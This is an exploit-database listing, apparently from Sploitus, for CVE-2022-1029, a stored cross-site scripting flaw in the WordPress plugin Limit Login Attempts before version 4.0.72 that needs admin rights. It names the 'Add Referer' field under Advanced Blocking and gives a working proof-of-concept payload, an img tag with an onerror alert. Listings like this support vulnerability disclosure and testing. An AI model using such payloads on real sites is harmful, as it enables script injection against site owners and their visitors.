Exploit for Limit Login Attempts < 4.0.72 - Admin+ Stored Cross-Site Scripting CVE-2022-1029

Name: Exploit for Limit Login Attempts < 4.0.72 - Admin+ Stored Cross-Site Scripting CVE-2022-1029
Rating: 5 (80 reviews)

2022-06-06 | CVSS 3.5

## https://sploitus.com/exploit?id=WPEX-ID:0E74EEB4-89E2-4873-904F-AD4F25C4A8BA
Put the following payload in the "Advanced Blocking" tab > "Block HTTP Referer's" section > "Add Referer" field: "><img src=x onerror=alert(/XSS/)>